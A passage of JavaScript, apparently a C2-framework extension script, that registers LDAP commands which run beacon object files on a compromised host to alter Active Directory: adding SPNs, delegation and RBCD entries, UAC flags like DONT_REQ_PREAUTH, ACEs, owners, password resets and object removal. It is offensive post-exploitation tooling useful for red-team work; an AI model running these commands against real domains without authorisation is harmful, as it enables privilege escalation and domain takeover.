${target}'s sidHistory...`);\n});\n\n\n\nvar _cmd_addspn = ax.create_command(\n    \"add-spn\",\n    \"Add an SPN to a object\",\n    \"ldap add-spn machine01 HOST/machine01.domain.local -ou \\\"OU=Computers,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_addspn.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_addspn.addArgString(\"spn\", true, \"SPN to add\");\n_cmd_addspn.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addspn.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addspn.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addspn.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let spn = parsed_json[\"spn\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, spn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-spn.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding SPN ${spn} to ${target}...`);\n});\n\n\n\nvar _cmd_addattribute = ax.create_command(\n    \"add-attribute\",\n    \"Add a value to an attribute\",\n    \"ldap add-attribute jane.doe description 'File not found' -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_addattribute.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_addattribute.addArgString(\"attribute\", true, \"Attribute name\");\n_cmd_addattribute.addArgString(\"value\", true, \"Value to add\");\n_cmd_addattribute.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addattribute.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addattribute.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addattribute.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let attribute = parsed_json[\"attribute\"];\n    let value = parsed_json[\"value\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,cstr,int\",\n        [target, is_dn, attribute, value, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-attribute.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding ${attribute} value to ${target}...`);\n});\n\n\n\nvar _cmd_adduac = ax.create_command(\n    \"add-uac\",\n    \"Add UAC flags to an object\",\n    \"ldap add-uac jane.doe TRUSTED_FOR_DELEGATION -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_adduac.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_adduac.addArgString(\"flags\", true, \"Comma-separated UAC flags (e.g., DONT_REQ_PREAUTH,DONT_EXPIRE_PASSWD)\");\n_cmd_adduac.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_adduac.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_adduac.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_adduac.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let flags = parsed_json[\"flags\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, flags, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-uac.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding UAC flags to ${target}...`);\n});\n\n\n\nvar _cmd_adddelegation = ax.create_command(\n    \"add-delegation\",\n    \"Add a delegation SPN to an object\",\n    \"ldap add-delegation machine01 RestrictedKrbHost/machine01.domain.local -ou \\\"OU=Computers,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_adddelegation.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_adddelegation.addArgString(\"spn\", true, \"Delegation SPN to add\");\n_cmd_adddelegation.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_adddelegation.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_adddelegation.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_adddelegation.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let spn = parsed_json[\"spn\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, spn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-delegation.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding delegation SPN to ${target}...`);\n});\n\n\n\nvar _cmd_addace = ax.create_command(\n    \"add-ace\",\n    \"Add an ACE to an object's DACL\",\n    \"ldap add-ace CN=SomeObject,OU=Data,DC=domain,DC=local jane.doe WRITE -dc dc01.domain.local\"\n);\n_cmd_addace.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_addace.addArgString(\"trustee\", true, \"Trustee name or DN\");\n_cmd_addace.addArgString(\"rights\", true, \"Access rights (e.g., GenericAll, WriteDacl)\");\n_cmd_addace.addArgFlagString(\"-type\", \"ace_type\", false, \"ACE type: allow (default), deny\");\n_cmd_addace.addArgFlagString(\"-flags\", \"flags\", false, \"ACE inheritance flags (e.g., CI,OI)\");\n_cmd_addace.addArgFlagString(\"-guid\", \"guid\", false, \"Object type GUID\");\n_cmd_addace.addArgFlagString(\"-inherit-guid\", \"inherit_guid\", false, \"Inherited object type GUID\");\n_cmd_addace.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addace.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addace.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addace.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_target_dn = identifyInputType(target);\n    let trustee = parsed_json[\"trustee\"];\n    let is_trustee_dn = identifyInputType(trustee);\n    let rights = parsed_json[\"rights\"];\n    let ace_type = parsed_json[\"ace_type\"] || \"\";\n    let flags = parsed_json[\"flags\"] || \"\";\n    let guid = parsed_json[\"guid\"] || \"\";\n    let inherit_guid = parsed_json[\"inherit_guid\"] || \"\";\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,cstr,cstr,cstr,cstr,cstr,int\",\n        [target, is_target_dn, trustee, is_trustee_dn, rights, ace_type, flags, guid, inherit_guid, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-ace.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding ACE to ${target}...`);\n});\n\n\n\nvar _cmd_addrbcd = ax.create_command(\n    \"add-rbcd\",\n    \"Add an RBCD delegation\",\n    \"ldap add-rbcd targetComputer$ principalAccount$ -ou \\\"OU=Computers,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_addrbcd.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_addrbcd.addArgString(\"delegate\", true, \"Object allowed to delegate\");\n_cmd_addrbcd.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addrbcd.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addrbcd.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addrbcd.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_target_dn = identifyInputType(target);\n    let delegate = parsed_json[\"delegate\"];\n    let is_delegate_dn = identifyInputType(delegate);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int\",\n        [target, is_target_dn, delegate, is_delegate_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-rbcd.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding RBCD delegation to ${target}...`);\n});\n\n\n\n// ============================================================================\n// SET COMMANDS\n// ============================================================================\n\nvar _cmd_setpassword = ax.create_command(\n    \"set-password\",\n    \"Set/reset a user's password\",\n    \"ldap set-password jane.doe 'N3wP@ssw0rd!' -old 'OldP@ss' -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_setpassword.addArgString(\"target\", true, \"User name or DN\");\n_cmd_setpassword.addArgString(\"password\", true, \"New password\");\n_cmd_setpassword.addArgFlagString(\"-old\", \"old_password\", false, \"Old password (required for self-service password change, omit for admin reset)\");\n_cmd_setpassword.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_setpassword.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_setpassword.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let password = parsed_json[\"password\"];\n    let old_password = parsed_json[\"old_password\"] || \"\";\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = 1; // Always use LDAPS for password operations\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,cstr,int\", [target, is_dn, password, old_password, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/set-password.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Setting password for ${target}...`);\n});\n\n\n\nvar _cmd_setspn = ax.create_command(\n    \"set-spn\",\n    \"Set/replace all SPNs on an object\",\n    \"ldap set-spn machine01$ HOST/machine01.domain.local -dc dc01.domain.local --ldaps\"\n);\n_cmd_setspn.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_setspn.addArgString(\"spn\", true, \"SPN to set (replaces all existing)\");\n_cmd_setspn.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_setspn.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_setspn.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_setspn.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let spn = parsed_json[\"spn\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, spn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/set-spn.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Setting SPN on ${target}...`);\n});\n\n\n\nvar _cmd_setdelegation = ax.create_command(\n    \"set-delegation\",\n    \"Set/replace delegation SPNs\",\n    \"ldap set-delegation appsvc RestrictedKrbHost/appsvc.domain.local -dc dc01.domain.local --ldaps\"\n);\n_cmd_setdelegation.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_setdelegation.addArgString(\"spn\", true, \"Delegation SPN (replaces all existing)\");\n_cmd_setdelegation.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_setdelegation.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_setdelegation.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_setdelegation.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let spn = parsed_json[\"spn\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, spn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/set-delegation.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Setting delegation on ${target}...`);\n});\n\n\n\nvar _cmd_setattribute = ax.create_command(\n    \"set-attribute\",\n    \"Set/replace an attribute value\",\n    \"ldap set-attribute jane.doe description 'File found' -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_setattribute.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_setattribute.addArgString(\"attribute\", true, \"Attribute name\");\n_cmd_setattribute.addArgString(\"value\", true, \"Value to set\");\n_cmd_setattribute.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_setattribute.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_setattribute.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_setattribute.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let attribute = parsed_json[\"attribute\"];\n    let value = parsed_json[\"value\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,cstr,int\",\n        [target, is_dn, attribute, value, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/set-attribute.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Setting ${attribute} on ${target}...`);\n});\n\n\n\nvar _cmd_setuac = ax.create_command(\n    \"set-uac\",\n    \"Set UAC flags (replaces all)\",\n    \"ldap set-uac jane.doe DONT_EXPIRE_PASSWD -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_setuac.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_setuac.addArgString(\"flags\", true, \"Comma-separated UAC flags (replaces all): SCRIPT, ACCOUNTDISABLE, HOMEDIR_REQUIRED, LOCKOUT, PASSWD_NOTREQD, PASSWD_CANT_CHANGE, NORMAL_ACCOUNT, INTERDOMAIN_TRUST_ACCOUNT, WORKSTATION_TRUST_ACCOUNT\" +\n    \"SERVER_TRUST_ACCOUNT, DONT_EXPIRE_PASSWD, SMARTCARD_REQUIRED, TRUSTED_FOR_DELEGATION, NOT_DELEGATED, USE_DES_KEY_ONLY, DONT_REQ_PREAUTH, PASSWORD_EXPIRED, TRUSTED_TO_AUTH_FOR_DELEGATION, NO_AUTH_DATA_REQUIRED\");\n_cmd_setuac.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_setuac.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_setuac.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_setuac.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let flags = parsed_json[\"flags\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, flags, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/set-uac.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Setting UAC flags on ${target}...`);\n});\n\n\n\nvar _cmd_setowner = ax.create_command(\n    \"set-owner\",\n    \"Set the owner of an object (requires WriteOwner)\",\n    \"ldap set-owner cn=resource,ou=apps,dc=domain,dc=local cn=jane.doe,ou=Users,dc=domain,dc=local -dc dc01.domain.local\"\n);\n_cmd_setowner.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_setowner.addArgString(\"owner\", true, \"New owner name or DN\");\n_cmd_setowner.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_setowner.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_setowner.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_setowner.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_target_dn = identifyInputType(target);\n    let owner = parsed_json[\"owner\"];\n    let is_owner_dn = identifyInputType(owner);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int\",\n        [target, is_target_dn, owner, is_owner_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/set-owner.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Setting owner of ${target} to ${owner}...`);\n});\n\n\n\n// ============================================================================\n// MOVE COMMANDS\n// ============================================================================\n\nvar _cmd_moveobject = ax.create_command(\n    \"move-object\",\n    \"Move an object to a different OU\",\n    \"ldap move-object jane.doe \\\"OU=Managers,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_moveobject.addArgString(\"object\", true, \"Object name or DN to move\");\n_cmd_moveobject.addArgString(\"destination\", true, \"Destination OU DN\");\n_cmd_moveobject.addArgFlagString(\"-n\", \"newname\", false, \"New name for the object (optional)\");\n_cmd_moveobject.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search for object\");\n_cmd_moveobject.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_moveobject.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n\n_cmd_moveobject.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let object = parsed_json[\"object\"];\n    let is_dn = identifyInputType(object);\n    let destination = parsed_json[\"destination\"];\n    let newname = parsed_json[\"newname\"] || \"\";\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,cstr,int\", [object, is_dn, destination, newname, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/move-object.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Moving ${object} to ${destination}...`);\n});\n\n\n\n// ============================================================================\n// REMOVE COMMANDS\n// ============================================================================\n\nvar _cmd_removegroupmember = ax.create_command(\n    \"remove-groupmember\",\n    \"Remove a member from a group\",\n    \"ldap remove-groupmember Stark jane.doe -dc dc01.domain.local\"\n);\n_cmd_removegroupmember.addArgString(\"group\", true, \"Group name or DN\");\n_cmd_removegroupmember.addArgString(\"member\", true, \"Member name or DN\");\n_cmd_removegroupmember.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removegroupmember.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removegroupmember.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removegroupmember.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let group = parsed_json[\"group\"];\n    let is_group_dn = identifyInputType(group);\n    let member = parsed_json[\"member\"];\n    let is_member_dn = identifyInputType(member);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int\",\n        [group, is_group_dn, member, is_member_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-groupmember.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing ${member} from ${group}...`);\n});\n\n\n\nvar _cmd_removeobject = ax.create_command(\n    \"remove-object\",\n    \"Remove an object from the domain\",\n    \"ldap remove-object jane.doe -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_removeobject.addArgString(\"object\", true, \"Object name or DN\");\n_cmd_removeobject.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removeobject.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removeobject.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removeobject.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let object = parsed_json[\"object\"];\n    let is_dn = identifyInputType(object);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,int\", [object, is_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-object.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing ${object}...`);\n});\n\n\n\nvar _cmd_removespn = ax.create_command(\n    \"remove-spn\",\n    \"Remove an SPN from an object\",\n    \"ldap remove-spn machine01$ HOST/machine01.domain.local -dc dc01.domain.local\"\n);\n_cmd_removespn.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_removespn.addArgString(\"spn\", true, \"SPN to remove\");\n_cmd_removespn.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removespn.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removespn.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removespn.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let spn = parsed_json[\"spn\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, spn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-spn.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing SPN ${spn} from ${target}...`);\n});\n\n\n\nvar _cmd_removedelegation = ax.create_command(\n    \"remove-delegation\",\n    \"Remove a delegation SPN\",\n    \"ldap remove-delegation machine01$ RestrictedKrbHost/machine01.domain.local -dc dc01.domain.local\"\n);\n_cmd_removedelegation.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_removedelegation.addArgString(\"spn\", true, \"Delegation SPN to remove\");\n_cmd_removedelegation.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removedelegation.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removedelegation.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removedelegation.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let spn = parsed_json[\"spn\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, spn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-delegation.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing delegation SPN from ${target}...`);\n});\n\n\n\nvar _cmd_removeattribute = ax.create_command(\n    \"remove-attribute\",\n    \"Remove an attribute or attribute value\",\n    \"ldap remove-attribute jane.doe description -value 'File not found' -dc dc01.domain.local\"\n);\n_cmd_removeattribute.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_removeattribute.addArgString(\"attribute\", true, \"Attribute name\");\n_cmd_removeattribute.addArgFlagString(\"-value\", \"value\", false, \"Specific value to remove (removes entire attribute if not specified)\");\n_cmd_removeattribute.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removeattribute.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removeattribute.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removeattribute.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let attribute = parsed_json[\"attribute\"];\n    let value = parsed_json[\"value\"] || \"\";\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,cstr,int\",\n        [target, is_dn, attribute, value, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-attribute.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing ${attribute} from ${target}...`);\n});\n\n\n\nvar _cmd_removeuac = ax.create_command(\n    \"remove-uac\",\n    \"Remove UAC flags from an object\",\n    \"ldap remove-uac jane.doe DONT_EXPIRE_PASSWD -dc dc01.domain.local\"\n);\n_cmd_removeuac.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_removeuac.addArgString(\"flags\", true, \"Comma-separated UAC flags to remove\");\n_cmd_removeuac.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removeuac.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removeuac.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removeuac.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let flags = parsed_json[\"flags\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, flags, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-uac.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" 